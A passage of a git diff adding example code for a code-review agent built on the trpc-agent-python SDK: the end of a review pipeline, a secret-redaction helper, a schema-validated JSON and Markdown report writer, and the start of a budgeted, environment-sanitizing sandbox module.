PipelineFatalError("pipeline_governance_failed") from exc + action = _safe_code(decision.get("action"), fallback="deny") + if action not in _FILTER_ACTIONS: + action = "deny" + warnings.append(_warning("invalid_filter_action", stage="governance")) + metrics.record_filter_action(action) + emit_trace(trace, "pipeline.filter_decision", action=action) + _LOGGER.info("Filter decision: action=%s", action.upper()) + raw_events = decision.get("events", ()) + if isinstance(raw_events, (list, tuple)): + filter_events.extend( + _sanitize_filter_event(event) + for event in raw_events + if isinstance(event, Mapping) + ) + warnings.extend( + _warning(code, stage="governance") + for code in decision.get("warnings", ()) + if isinstance(code, str) + ) + + if action == "allow": + sandbox_started = perf_counter() + emit_trace( + trace, + "pipeline.sandbox_started", + runtime_type=self._sandbox.runtime_type, + ) + _LOGGER.info("Sandbox started: runtime=%s", self._sandbox.runtime_type) + try: + raw_sandbox_result = self._sandbox.execute( + task_id=task_id, + change_set=change_set, + config=self._config, + ) + except Exception: + raw_sandbox_result = _sandbox_execution_error() + sandbox_run = _sanitize_sandbox_run(raw_sandbox_result) + if sandbox_run["duration_ms"] == 0: + sandbox_run["duration_ms"] = max( + int((perf_counter() - sandbox_started) * 1000), + 0, + ) + sandbox_runs.append(sandbox_run) + emit_trace( + trace, + "pipeline.sandbox_finished", + status=sandbox_run["status"], + candidate_count=len(_safe_candidates(raw_sandbox_result)), + timed_out=sandbox_run["timed_out"], + truncated=sandbox_run["truncated"], + ) + _LOGGER.info( + "Sandbox finished: status=%s duration_ms=%s timed_out=%s truncated=%s", + sandbox_run["status"], + sandbox_run["duration_ms"], + sandbox_run["timed_out"], + sandbox_run["truncated"], + ) + metrics.record_sandbox_run(sandbox_run["duration_ms"]) + if sandbox_run["error_type"]: + metrics.record_error(sandbox_run["error_type"]) + candidates.extend(_safe_candidates(raw_sandbox_result)) + if sandbox_run["status"] != "ok": + warnings.append( + _warning( + f"sandbox_{sandbox_run['status']}", + stage="sandbox", + ) + ) + if sandbox_run["timed_out"]: + warnings.append(_warning("sandbox_timeout", stage="sandbox")) + if sandbox_run["truncated"]: + warnings.append(_warning("sandbox_output_truncated", stage="sandbox")) + else: + warnings.append(_warning(f"filter_{action}", stage="governance")) + except PipelineFatalError: + raise + except Exception as exc: + self._store.update_task( + task_id, + status="failed", + error_type="pipeline_control_error", + error_message="pipeline_control_error", + ) + raise PipelineFatalError("pipeline_control_failed") from exc + finally: + try: + self._sandbox.cleanup(task_id=task_id) + except Exception: + warnings.append(_warning("workspace_cleanup_error", stage="cleanup")) + + if change_set is None: + self._store.update_task( + task_id, + status="failed", + error_type="pipeline_change_set_missing", + error_message="pipeline_change_set_missing", + ) + raise PipelineFatalError("pipeline_change_set_missing") + + try: + bucketed = route_findings(candidates, warnings=warnings) + except ValueError as exc: + self._store.update_task( + task_id, + status="failed", + error_type="postprocess_error", + error_message="postprocess_error", + ) + raise PipelineFatalError("pipeline_postprocess_failed") from exc + + metrics.record_findings( + findings=bucketed.findings, + needs_human_review=bucketed.needs_human_review, + suppressed_count=len(bucketed.suppressed), + warnings=bucketed.warnings, + ) + status = "completed_with_warnings" if bucketed.warnings else "completed" + report = { + "schema_version": self._config.schema_version, + "rule_pack_version": self._config.rule_pack_version, + "config_digest": self._config.config_digest, + "input_sha256": change_set.input_sha256, + "task_id": task_id, + "status": status, + "input_summary": _input_summary(change_set), + "findings": list(bucketed.findings), + "needs_human_review": list(bucketed.needs_human_review), + "warnings": list(bucketed.warnings), + "suppressed": _suppressed_summary(bucketed), + "filter_summary": { + "allow_count": sum( + event["action"] == "allow" for event in filter_events + ), + "deny_count": sum( + event["action"] == "deny" for event in filter_events + ), + "needs_human_review_count": sum( + event["action"] == "needs_human_review" + for event in filter_events + ), + "events": filter_events, + }, + "sandbox_summary": { + "runtime_type": self._sandbox.runtime_type, + "run_count": len(sandbox_runs), + "runs": sandbox_runs, + }, + "metrics": metrics.snapshot().to_dict(), + "final_conclusion": _final_conclusion(bucketed), + } + if self._llm_enhancer.mode != "off": + llm_started = perf_counter() + try: + report = self._llm_enhancer.enhance(report) + except Exception: + report["warnings"] = [ + *report["warnings"], + _warning("llm_enhancement_failed", stage="llm"), + ] + status = "completed_with_warnings" + report["status"] = status + metrics.record_warning() + metrics.record_error("llm_enhancement_failed") + llm_duration_ms = (perf_counter() - llm_started) * 1000 + metrics.record_stage_duration("llm", llm_duration_ms) + report["metrics"] = metrics.snapshot().to_dict() + metrics.emit_span( + "llm", + status=report["status"], + duration_ms=llm_duration_ms, + error_type="llm_enhancement_failed" + if report["status"] == "completed_with_warnings" + else None, + ) + + try: + canonical = self._report_writer.validate(report) + persistence_payload = { + "events": filter_events, + "runs": sandbox_runs, + "findings": [ + *canonical["findings"], + *canonical["needs_human_review"], + ], + "report": canonical, + } + if contains_plaintext_secret(persistence_payload): + raise ReportValidationError("pipeline outbound payload contains a plaintext secret") + + for event in filter_events: + self._store.add_filter_event(task_id, event) + for sandbox_run in sandbox_runs: + self._store.add_sandbox_run(task_id, sandbox_run) + for finding in persistence_payload["findings"]: + self._store.add_finding(task_id, finding) + self._store.save_report(task_id, self._report_writer.to_store_payload(canonical)) + written = self._report_writer.write(canonical, self._output_dir) + self._store.update_task(task_id, status=status) + emit_trace( + trace, + "pipeline.report_persisted", + status=status, + finding_count=len(canonical["findings"]), + needs_human_review_count=len(canonical["needs_human_review"]), + warning_count=len(canonical["warnings"]), + ) + _LOGGER.info( + "Canonical report persisted: findings=%s warnings=%s needs_human_review=%s", + len(canonical["findings"]), + len(canonical["warnings"]), + len(canonical["needs_human_review"]), + ) + except ( + ReportValidationError, + ReportWriteError, + OSError, + RuntimeError, + SQLAlchemyError, + ValueError, + KeyError, + ) as exc: + self._store.update_task( + task_id, + status="failed", + error_type="report_or_persistence_error", + error_message="report_or_persistence_error", + ) + raise PipelineFatalError("pipeline_report_or_persistence_failed") from exc + + metrics.emit_span( + "total", + status=status, + duration_ms=metrics.snapshot().total_duration_ms, + ) + return PipelineResult( + task_id=task_id, + status=status, + report=written.report, + json_path=written.json_path, + markdown_path=written.markdown_path, + ) + + +__all__ = [ + "GovernancePort", + "PipelineFatalError", + "PipelineResult", + "ReviewPipeline", + "SandboxPort", +] diff --git a/examples/skills_code_review_agent/code_review/redaction.py b/examples/skills_code_review_agent/code_review/redaction.py new file mode 100644 index 000000000..a89a0601f --- /dev/null +++ b/examples/skills_code_review_agent/code_review/redaction.py @@ -0,0 +1,63 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Host-side access to the Skill-owned sensitive-data redactor.""" + +from __future__ import annotations + +from typing import Any, Mapping + +from .skill_loader import load_skill_module + + +_SECRET_RULES = load_skill_module("secret_rules") + + +def redact_text(text: str) -> str: + """使用已加载 Skill 的规则表脱敏单个输出字符串。""" + + return _SECRET_RULES.redact_text(text) + + +def contains_plaintext_secret(value: Any) -> bool: + """递归检查输出值是否仍含未脱敏的敏感信息语法。""" + + if isinstance(value, str): + return _SECRET_RULES.contains_secret(value) + if isinstance(value, Mapping): + return any( + contains_plaintext_secret(key) or contains_plaintext_secret(item) + for key, item in value.items() + ) + if isinstance(value, (list, tuple, set, frozenset)): + return any(contains_plaintext_secret(item) for item in value) + return False + + +def redact_data(value: Any) -> Any: + """在对象离开宿主前递归脱敏其中的所有字符串。""" + + if isinstance(value, str): + return redact_text(value) + if isinstance(value, Mapping): + return {redact_data(key): redact_data(item) for key, item in value.items()} + if isinstance(value, list): + return [redact_data(item) for item in value] + if isinstance(value, tuple): + return tuple(redact_data(item) for item in value) + if isinstance(value, set): + return {redact_data(item) for item in value} + if isinstance(value, frozenset): + return frozenset(redact_data(item) for item in value) + return value + + +def redact_transport_fields(**fields: Any) -> dict[str, Any]: + """为报告、Filter、异常和沙箱字段应用统一脱敏路径。""" + + return {name: redact_data(value) for name, value in fields.items()} diff --git a/examples/skills_code_review_agent/code_review/report.py b/examples/skills_code_review_agent/code_review/report.py new file mode 100644 index 000000000..346573a02 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/report.py @@ -0,0 +1,474 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Canonical JSON report validation, persistence payloads and renderers.""" + +from __future__ import annotations + +import html +import json +import os +import tempfile +from collections.abc import Callable, Mapping, Sequence +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Protocol + +from jsonschema import Draft202012Validator +from jsonschema.exceptions import SchemaError + +from code_review.redaction import contains_plaintext_secret + + +_PROJECT_ROOT = Path(__file__).resolve().parents[1] +_DEFAULT_SCHEMA_PATH = _PROJECT_ROOT / "schemas" / "review_report.schema.json" +_SEVERITY_RANK = { + "critical": 0, + "high": 1, + "medium": 2, + "low": 3, + "info": 4, +} +_FINDING_BUCKETS = ("findings", "needs_human_review") + + +class ReportValidationError(ValueError): + """表示报告不满足 canonical schema 或 JSON 数据约束。""" + + +class ReportSecretLeakError(ReportValidationError): + """表示报告出口仍包含明文敏感信息,禁止写入。""" + + +class ReportWriteError(RuntimeError): + """表示报告不能以原子方式写入,且不会保留半写目标。""" + + +class ReportRenderer(Protocol): + """定义从已校验 canonical JSON 扩展到其他报告格式的协议。""" + + def render(self, report: Mapping[str, Any]) -> str: + """根据 canonical JSON 返回确定性文本,不访问原始输入。""" + + +AtomicWriter = Callable[[Path, bytes], None] + + +def _markdown_text(value: Any) -> str: + """转义不可信文本中的 Markdown 控制符、原始 HTML 和换行。""" + + escaped = html.escape(str(value), quote=False) + escaped = escaped.replace("\r", " ").replace("\n", " ") + for character in "\\`*_{}[]()#+-.!|>": + escaped = escaped.replace(character, f"\\{character}") + return escaped + + +def _markdown_code(value: Any) -> str: + """把不可信标识安全放入 HTML code 元素,避免反引号闭合注入。""" + + escaped = html.escape(str(value), quote=False) + for character in "`[]()!": + escaped = escaped.replace(character, f"&#{ord(character)};") + return f"{escaped}" + + +def _markdown_identifier(value: Any) -> str: + """转义结构化标识的 HTML 字符,同时保留可读下划线和连字符。""" + + return html.escape(str(value), quote=False).replace("\r", "").replace( + "\n", + "", + ) + + +@dataclass(frozen=True) +class WrittenReport: + """保存一次成功输出的路径与已校验 canonical 报告对象。""" + + json_path: Path + markdown_path: Path + report: dict[str, Any] + + +def _canonical_json_bytes(value: Any, *, pretty: bool) -> bytes: + """将 JSON 兼容对象稳定序列化为 UTF-8 字节,拒绝不可序列化输入。""" + + try: + text = json.dumps( + value, + ensure_ascii=False, + indent=2 if pretty else None, + separators=None if pretty else (",", ":"), + sort_keys=True, + ) + except (TypeError, ValueError) as exc: + raise ReportValidationError("report must be JSON serializable") from exc + return (text + "\n").encode("utf-8") + + +def _stable_value_key(value: Any) -> str: + """为未知摘要对象生成不泄漏内容的确定性排序键。""" + + return _canonical_json_bytes(value, pretty=False).decode("utf-8") + + +def _finding_sort_key(finding: Mapping[str, Any]) -> tuple[Any, ...]: + """按规格定义的严重级别、位置和规则标识稳定排序 finding。""" + + severity = finding.get("severity") + return ( + _SEVERITY_RANK.get(severity, len(_SEVERITY_RANK)), + str(finding.get("file", "")), + finding.get("line", -1), + str(finding.get("category", "")), + str(finding.get("rule_id", "")), + _stable_value_key(finding), + ) + + +def _normalize_report(report: Mapping[str, Any]) -> dict[str, Any]: + """复制并稳定排序报告中有顺序语义的集合,保留输入字段供 schema 校验。""" + + serialized = _canonical_json_bytes(report, pretty=False) + normalized = json.loads(serialized) + if not isinstance(normalized, dict): + raise ReportValidationError("report must be a JSON object") + + for name in _FINDING_BUCKETS: + candidates = normalized.get(name) + if isinstance(candidates, list) and all( + isinstance(candidate, Mapping) for candidate in candidates + ): + normalized[name] = sorted(candidates, key=_finding_sort_key) + + warnings = normalized.get("warnings") + if isinstance(warnings, list): + normalized["warnings"] = sorted(warnings, key=_stable_value_key) + + input_summary = normalized.get("input_summary") + if isinstance(input_summary, dict) and isinstance(input_summary.get("files"), list): + input_summary["files"] = sorted( + input_summary["files"], + key=lambda item: _stable_value_key(item), + ) + + for summary_name, list_name in ( + ("filter_summary", "events"), + ("sandbox_summary", "runs"), + ): + summary = normalized.get(summary_name) + if isinstance(summary, dict) and isinstance(summary.get(list_name), list): + summary[list_name] = sorted(summary[list_name], key=_stable_value_key) + + conclusion = normalized.get("final_conclusion") + if isinstance(conclusion, dict) and isinstance( + conclusion.get("recommendations"), list + ): + conclusion["recommendations"] = sorted( + conclusion["recommendations"], + key=_stable_value_key, + ) + return normalized + + +def _write_atomically(path: Path, payload: bytes) -> None: + """在目标同目录落临时文件后替换目标,失败时删除临时残留。""" + + path.parent.mkdir(parents=True, exist_ok=True) + temporary_path: Path | None = None + try: + with tempfile.NamedTemporaryFile( + mode="wb", + dir=path.parent, + prefix=f".{path.name}.", + suffix=".tmp", + delete=False, + ) as temporary_file: + temporary_path = Path(temporary_file.name) + temporary_file.write(payload) + temporary_file.flush() + os.fsync(temporary_file.fileno()) + os.replace(temporary_path, path) + temporary_path = None + finally: + if temporary_path is not None: + temporary_path.unlink(missing_ok=True) + + +class MarkdownReportRenderer: + """将 canonical JSON 渲染为固定八段 Markdown 的默认 renderer。""" + + def render(self, report: Mapping[str, Any]) -> str: + """只读取已校验 JSON 字段,输出确定性且不含原始输入的 Markdown。""" + + lines = [ + "# 自动代码评审报告", + "", + f"任务 ID:{_markdown_identifier(report['task_id'])}", + f"状态:{_markdown_identifier(report['status'])}", + "", + "## 输入范围", + ] + lines.extend(self._render_input_summary(report["input_summary"])) + lines.extend(["", "## 1. Findings 摘要"]) + lines.extend(self._render_findings(report["findings"])) + lines.extend(["", "## 2. 严重级别统计"]) + lines.extend(self._render_distribution(report["metrics"]["severity_distribution"])) + lines.extend(["", "## 3. 人工复核项"]) + lines.extend(self._render_findings(report["needs_human_review"])) + lines.extend(["", "## 4. 运行告警"]) + lines.extend(self._render_warnings(report["warnings"])) + lines.extend(["", "## 5. Filter 拦截摘要"]) + lines.extend(self._render_filter_summary(report["filter_summary"])) + lines.extend(["", "## 6. 沙箱执行摘要"]) + lines.extend(self._render_sandbox_summary(report["sandbox_summary"])) + lines.extend(["", "## 7. 监控指标"]) + lines.extend(self._render_metrics(report["metrics"])) + lines.extend(["", "## 8. 结论与可执行修复建议"]) + lines.extend(self._render_conclusion(report)) + return "\n".join(lines) + "\n" + + def _render_input_summary(self, input_summary: Mapping[str, Any]) -> list[str]: + """渲染输入来源及每个文件的审查范围。""" + + lines = [ + f"- 来源:{_markdown_identifier(input_summary['source_kind'])}", + ( + "- 文件数:{file_count};hunk 数:{hunk_count};新增:{additions};删除:{deletions}".format( + **input_summary + ) + ), + ] + for item in input_summary["files"]: + lines.append( + "- {path}:状态={status};审查范围:{review_scope}".format( + path=_markdown_code(item["path"]), + status=_markdown_identifier(item["status"]), + review_scope=_markdown_identifier(item["review_scope"]), + ) + ) + return lines + + def _render_findings(self, findings: Sequence[Mapping[str, Any]]) -> list[str]: + """渲染一个 finding 桶,并显式展示新侧或旧侧行号。""" + + if not findings: + return ["- 无。"] + lines: list[str] = [] + for finding in findings: + side = "旧侧" if finding.get("line_side", "new") == "old" else "新侧" + lines.extend( + [ + ( + "- [{severity}] {file}({side}行 {line})— {title}" + ).format( + severity=_markdown_identifier(finding["severity"]), + file=_markdown_code(finding["file"]), + side=side, + line=finding["line"], + title=_markdown_text(finding["title"]), + ), + f" - 证据:{_markdown_text(finding['evidence'])}", + f" - 建议:{_markdown_text(finding['recommendation'])}", + ] + ) + return lines + + def _render_distribution(self, distribution: Mapping[str, Any]) -> list[str]: + """按严重级别固定顺序渲染计数分布。""" + + if not distribution: + return ["- 无。"] + return [ + f"- {severity}:{distribution[severity]}" + for severity in sorted( + distribution, + key=lambda severity: ( + _SEVERITY_RANK.get(severity, len(_SEVERITY_RANK)), + severity, + ), + ) + ] + + def _render_warnings(self, warnings: Sequence[Mapping[str, Any]]) -> list[str]: + """渲染运行或治理告警,且不将其混入 finding。""" + + if not warnings: + return ["- 无。"] + return [ + "- [{code}] {message}".format( + code=_markdown_identifier(warning["code"]), + message=_markdown_text(warning["message"]), + ) + for warning in warnings + ] + + def _render_filter_summary(self, summary: Mapping[str, Any]) -> list[str]: + """渲染 Filter 三类决策计数和脱敏事件数量。""" + + return [ + "- allow={allow_count};deny={deny_count};needs_human_review={needs_human_review_count}".format( + **summary + ), + f"- 事件数:{len(summary['events'])}", + ] + + def _render_sandbox_summary(self, summary: Mapping[str, Any]) -> list[str]: + """渲染沙箱 runtime、执行次数和脱敏运行摘要数量。""" + + return [ + f"- runtime:{summary['runtime_type']}", + f"- 执行次数:{summary['run_count']};运行摘要数:{len(summary['runs'])}", + ] + + def _render_metrics(self, metrics: Mapping[str, Any]) -> list[str]: + """渲染允许持久化的指标计数与耗时摘要。""" + + return [ + f"- 总耗时:{metrics['total_duration_ms']} ms", + f"- 沙箱耗时:{metrics['sandbox_duration_ms']} ms", + f"- 工具调用:{metrics['tool_call_count']};沙箱运行:{metrics['sandbox_run_count']}", + f"- warnings:{metrics['warning_count']};suppressed:{metrics['suppressed_count']}", + ] + + def _render_conclusion(self, report: Mapping[str, Any]) -> list[str]: + """按 finding 严重级别顺序合并结论与可执行修复建议。""" + + conclusion = report["final_conclusion"] + recommendations: list[str] = [] + for finding in report["findings"]: + recommendation = finding["recommendation"] + if recommendation not in recommendations: + recommendations.append(recommendation) + for recommendation in conclusion["recommendations"]: + if recommendation not in recommendations: + recommendations.append(recommendation) + lines = [f"- 摘要:{_markdown_text(conclusion['summary'])}"] + if recommendations: + lines.extend( + f"{index}. {_markdown_text(recommendation)}" + for index, recommendation in enumerate(recommendations, start=1) + ) + else: + lines.append("- 无额外修复建议。") + return lines + + +class CanonicalReportWriter: + """校验、冻结、原子写入 canonical JSON,并从其渲染 Markdown。""" + + def __init__( + self, + *, + schema_path: Path | None = None, + renderer: ReportRenderer | None = None, + atomic_writer: AtomicWriter | None = None, + ) -> None: + """加载 schema 并允许注入 renderer 或原子写入器用于扩展和测试。""" + + selected_schema_path = schema_path or _DEFAULT_SCHEMA_PATH + try: + schema = json.loads(selected_schema_path.read_text(encoding="utf-8")) + Draft202012Validator.check_schema(schema) + except (OSError, json.JSONDecodeError, SchemaError) as exc: + raise ReportValidationError("report schema is unavailable or invalid") from exc + self._validator = Draft202012Validator(schema) + self._renderer = renderer or MarkdownReportRenderer() + self._atomic_writer = atomic_writer or _write_atomically + + def validate(self, report: Mapping[str, Any]) -> dict[str, Any]: + """稳定化并验证报告 schema,随后阻止任何明文敏感信息离开任务域。""" + + canonical = _normalize_report(report) + errors = sorted( + self._validator.iter_errors(canonical), + key=lambda error: tuple(str(item) for item in error.absolute_path), + ) + if errors: + location = ".".join(str(item) for item in errors[0].absolute_path) + location = location or "root" + raise ReportValidationError( + f"canonical report does not match schema at {location}" + ) + if contains_plaintext_secret(canonical): + raise ReportSecretLeakError( + "canonical report contains a plaintext secret" + ) + return canonical + + def write( + self, + report: Mapping[str, Any], + output_dir: Path, + ) -> WrittenReport: + """写入 JSON 后只从其 canonical 对象渲染 Markdown,两个出口均原子替换。""" + + canonical = self.validate(report) + json_path = output_dir / "review_report.json" + markdown_path = output_dir / "review_report.md" + self._write(json_path, _canonical_json_bytes(canonical, pretty=True)) + + markdown = self._renderer.render(canonical) + if contains_plaintext_secret(markdown): + raise ReportSecretLeakError( + "rendered report contains a plaintext secret" + ) + self._write(markdown_path, markdown.encode("utf-8")) + return WrittenReport( + json_path=json_path, + markdown_path=markdown_path, + report=canonical, + ) + + def to_store_payload(self, report: Mapping[str, Any]) -> dict[str, Any]: + """从同一 canonical 对象派生 cr_report 写入载荷,避免重新计算统计。""" + + canonical = self.validate(report) + return { + "task_id": canonical["task_id"], + "schema_version": canonical["schema_version"], + "rule_pack_version": canonical["rule_pack_version"], + "config_digest": canonical["config_digest"], + "input_sha256": canonical["input_sha256"], + "summary": { + "status": canonical["status"], + "input_summary": canonical["input_summary"], + "final_conclusion": canonical["final_conclusion"], + "finding_count": len(canonical["findings"]), + "needs_human_review_count": len( + canonical["needs_human_review"] + ), + "warning_count": len(canonical["warnings"]), + "suppressed_count": canonical["suppressed"]["count"], + }, + "severity_stats": canonical["metrics"]["severity_distribution"], + "filter_summary": canonical["filter_summary"], + "sandbox_summary": canonical["sandbox_summary"], + "metrics": canonical["metrics"], + "report": canonical, + } + + def _write(self, path: Path, payload: bytes) -> None: + """调用可注入原子写入器,并把底层异常收敛为不含路径的错误。""" + + try: + self._atomic_writer(path, payload) + except OSError as exc: + raise ReportWriteError("failed to atomically write report output") from exc + + +__all__ = [ + "CanonicalReportWriter", + "MarkdownReportRenderer", + "ReportRenderer", + "ReportSecretLeakError", + "ReportValidationError", + "ReportWriteError", + "WrittenReport", +] diff --git a/examples/skills_code_review_agent/code_review/sandbox.py b/examples/skills_code_review_agent/code_review/sandbox.py new file mode 100644 index 000000000..22dcb88c9 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/sandbox.py @@ -0,0 +1,934 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Strict SDK workspace factory, Skill staging and bounded sandbox primitives.""" + +from __future__ import annotations + +import asyncio +from contextlib import contextmanager +from contextvars import ContextVar +import json +import sys +from collections.abc import Callable, Iterator, Mapping +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from trpc_agent_sdk.code_executors import BaseWorkspaceRuntime +from trpc_agent_sdk.code_executors import ENV_OUTPUT_DIR +from trpc_agent_sdk.code_executors import ENV_RUN_DIR +from trpc_agent_sdk.code_executors import ENV_SKILLS_DIR +from trpc_agent_sdk.code_executors import ENV_WORK_DIR +from trpc_agent_sdk.code_executors import LocalProgramRunner +from trpc_agent_sdk.code_executors import WORKSPACE_ENV_DIR_KEY +from trpc_agent_sdk.code_executors import WorkspaceInfo +from trpc_agent_sdk.code_executors import WorkspaceOutputSpec +from trpc_agent_sdk.code_executors import WorkspacePutFileInfo +from trpc_agent_sdk.code_executors import WorkspaceRunProgramSpec +from trpc_agent_sdk.code_executors import create_container_workspace_runtime +from trpc_agent_sdk.code_executors import create_local_workspace_runtime +from trpc_agent_sdk.skills import create_default_skill_repository +from trpc_agent_sdk.skills.stager import SkillStageRequest +from trpc_agent_sdk.skills.tools import CopySkillStager +from trpc_agent_sdk.context import new_invocation_context_id + +from code_review.config import ReviewConfig +from code_review.redaction import redact_text +from code_review.skill_integrity import ( + IntegrityFile, + canonical_source_sha256, + parse_integrity_files, + safe_script_relative_path, +) + + +_SKILL_NAME = "code-review" +_RUN_CHECKS_SCRIPT_ID = "run_checks" +_ALLOWED_CONTAINER_CONFIG_KEYS = frozenset({"network_mode"}) + + +class SandboxConfigurationError(ValueError): + """表示在创建 runtime 前发现的不可接受沙箱配置。""" + + +class SandboxBudgetExceeded(ValueError): + """表示本次运行会在启动前突破锁定的评审资源预算。""" + + +class SandboxStageError(RuntimeError): + """表示 Skill staging 或 staging 后摘要复验失败。""" + + +@dataclass(frozen=True) +class SandboxRuntimeSelection: + """描述已选 SDK runtime 及其可供治理层验证的有效网络配置。""" + + runtime: BaseWorkspaceRuntime + runtime_type: str + effective_network_mode: str | None + network_policy_verified: bool + explicit_local: bool + + +@dataclass(frozen=True) +class BudgetReservation: + """保存一次已经通过预检的运行编号、时间和输出额度。""" + + run_number: int + timeout_seconds: int + output_bytes: int + + +@dataclass(frozen=True) +class OutputCapture: + """保存受总字节上限约束的 stdout/stderr 摘要及截断标记。""" + + stdout: str + stderr: str + truncated: bool + + +@dataclass(frozen=True) +class SandboxRunCapture: + """收敛 SDK 单次运行的超时、退出码、耗时和已限额输出摘要。""" + + exit_code: int | None + timed_out: bool + duration_ms: int + output: OutputCapture + + +@dataclass(frozen=True) +class StagedSkill: + """记录已复验的 workspace 相对 Skill 目录和入口脚本路径。""" + + workspace_skill_dir: str + entrypoint: str + script_id: str + sha256: str + + +@dataclass(frozen=True) +class ManifestScript: + """保存 manifest 中已校验入口和完整执行文件闭包。""" + + entrypoint: str + sha256: str + files: tuple[IntegrityFile, ...] + + +@dataclass(frozen=True) +class SandboxInvocationContext: + """为 SDK Skill stager 提供仅含调用标识的最小运行上下文,避免伪造完整 Agent 会话。""" + + invocation_id: str + + +@dataclass(frozen=True) +class AgentWorkspaceBinding: + """保存本次 Agent skill_load 已创建的 workspace 标识和真实调用上下文。""" + + workspace_id: str + context: Any + + +class SandboxBudget: + """在宿主启动 runtime 前集中预检并累计单次与全局沙箱预算。""" + + def __init__(self, config: ReviewConfig) -> None: + """绑定不可变 ReviewConfig,避免调用方单独放宽运行资源上限。""" + + self._config = config + self._runs_started = 0 + self._reserved_seconds = 0 + self._reserved_output_bytes = 0 + + def reserve(self, *, timeout_seconds: int, output_bytes: int) -> BudgetReservation: + """预留一次运行额度;超过任一锁定上限时在执行前抛出受控错误代码。""" + + if ( + isinstance(timeout_seconds, bool) + or not isinstance(timeout_seconds, int) + or timeout_seconds <= 0 + or isinstance(output_bytes, bool) + or not isinstance(output_bytes, int) + or output_bytes <= 0 + ): + raise SandboxBudgetExceeded("sandbox_budget_invalid") + if timeout_seconds > self._config.per_run_timeout_seconds: + raise SandboxBudgetExceeded("sandbox_timeout_budget_exceeded") + if output_bytes > self._config.max_output_bytes_per_run: + raise SandboxBudgetExceeded("sandbox_output_budget_exceeded") + if self._runs_started + 1 > self._config.max_sandbox_runs: + raise SandboxBudgetExceeded("sandbox_run_budget_exceeded") + if self._reserved_seconds + timeout_seconds > self._config.sandbox_time_budget_seconds: + raise SandboxBudgetExceeded("sandbox_time_budget_exceeded") + if self._reserved_output_bytes + output_bytes > self._config.max_output_bytes_per_review: + raise SandboxBudgetExceeded("sandbox_review_output_budget_exceeded") + self._runs_started += 1 + self._reserved_seconds += timeout_seconds + self._reserved_output_bytes += output_bytes + return BudgetReservation( + run_number=self._runs_started, + timeout_seconds=timeout_seconds, + output_bytes=output_bytes, + ) + + +class SanitizedLocalProgramRunner(LocalProgramRunner): + """在 SDK local fallback 上移除宿主环境,仅保留受控运行变量。""" + + def _build_program_env( + self, + workspace: WorkspaceInfo, + spec: WorkspaceRunProgramSpec, + ) -> dict[str, str]: + """过滤 SDK 构造的环境,阻止 API Key、token 和任意宿主值进入子进程。""" + + candidate = super()._build_program_env(workspace, spec) + allowed_names = { + *(spec.env or {}), + WORKSPACE_ENV_DIR_KEY, + ENV_SKILLS_DIR, + ENV_WORK_DIR, + ENV_OUTPUT_DIR, + ENV_RUN_DIR, + } + return { + name: value + for name, value in candidate.items() + if name in allowed_names + } + + +class _SanitizedLocalRuntime(BaseWorkspaceRuntime): + """复用 SDK local manager/fs,并用净化 runner 替换执行边界。""" + + def __init__(self, runtime: BaseWorkspaceRuntime) -> None: + """绑定 SDK 创建的 local runtime,不修改共享 SDK 对象。""" + + self._runtime = runtime + self._runner = SanitizedLocalProgramRunner() + + def manager(self, ctx: Any = None) -> Any: + """返回 SDK 原生 workspace manager。""" + + return self._runtime.manager(ctx) + + def fs(self, ctx: Any = None) -> Any: + """返回 SDK 原生 workspace filesystem。""" + + return self._runtime.fs(ctx) + + def runner(self, ctx: Any = None) -> SanitizedLocalProgramRunner: + """返回不继承宿主环境值的 local program runner。""" + + return self._runner + + def describe(self, ctx: Any = None) -> Any: + """透传 SDK local runtime 的能力说明。""" + + return self._runtime.describe(ctx) + + +class SdkSkillSandbox: + """将 C2 的 runtime、staging 与限额原语组合为 ReviewPipeline 可调用的 SDK 沙箱端口。""" + + def __init__( + self, + selection: SandboxRuntimeSelection, + skill_root: Path, + *, + config: ReviewConfig | None = None, + ) -> None: + """绑定已治理的 runtime 和 Skill 根目录;任务 workspace 仅在 execute 后短暂保存到 cleanup。""" + + self.runtime_type = selection.runtime_type + self._runtime = selection.runtime + self._skill_root = Path(skill_root) + self._config = ReviewConfig() if config is None else config + self._budgets: dict[str, SandboxBudget] = {} + self._workspaces: dict[str, WorkspaceInfo] = {} + self._workspace_ids: dict[str, str] = {} + self._contexts: dict[str, Any] = {} + self._agent_workspace: ContextVar[AgentWorkspaceBinding | None] = ContextVar( + "code_review_agent_workspace", + default=None, + ) + + @contextmanager + def bind_agent_workspace(self, workspace_id: str, context: Any) -> Iterator[None]: + """把 skill_load 的 session workspace 限定绑定到当前 skill_run/pipeline 调用。""" + + if not workspace_id: + raise ValueError("agent_workspace_id_required") + token = self._agent_workspace.set( + AgentWorkspaceBinding(workspace_id=workspace_id, context=context) + ) + try: + yield + finally: + self._agent_workspace.reset(token) + + @property + def container_id(self) -> str | None: + """返回 SDK 容器 runtime 的实际 Docker ID,仅供终端 INFO 诊断且绝不持久化。""" + + if self.runtime_type != "container": + return None + client = getattr(self._runtime, "container", None) + container = getattr(client, "container", None) + container_id = getattr(container, "id", None) + if not isinstance(container_id, str) or len(container_id) != 64: + return None + if any(character not in "0123456789abcdef" for character in container_id.lower()): + return None + return container_id + + def execute(self, *, task_id: str, change_set: Any, config: ReviewConfig) -> dict[str, Any]: + """同步执行一个已授权的 run_checks 请求,并把任何运行失败收敛为结构化数据。""" + + if config != self._config: + return _sandbox_error("sandbox_config_mismatch") + try: + asyncio.get_running_loop() + except RuntimeError: + return asyncio.run(self._execute_async(task_id, change_set)) + return _sandbox_error("sandbox_event_loop_unsupported") + + def cleanup(self, *, task_id: str) -> None: + """清理本任务 workspace;异常由 pipeline 转为不含路径的 cleanup warning。""" + + if task_id not in self._workspaces: + self._budgets.pop(task_id, None) + return + context = self._contexts.get(task_id) + workspace_id = self._workspace_ids.get(task_id, task_id) + try: + asyncio.get_running_loop() + except RuntimeError: + 